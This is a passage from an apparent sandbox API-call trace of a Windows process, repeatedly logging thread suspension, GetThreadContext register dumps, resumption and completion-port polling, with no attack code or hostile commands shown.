[166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.529] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.529] CloseHandle (hObject=0x1ac) returned 1
	[0276.529] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.529] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.529] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.530] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.530] CloseHandle (hObject=0x1ac) returned 1
	[0276.530] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.567] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.567] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.567] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.567] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.604] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.604] CloseHandle (hObject=0x1ac) returned 1
	[0276.604] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.604] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.604] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.606] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.606] CloseHandle (hObject=0x1ac) returned 1
	[0276.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.650] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.650] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.650] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.650] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.717] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.717] CloseHandle (hObject=0x1ac) returned 1
	[0276.717] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.717] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.717] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, 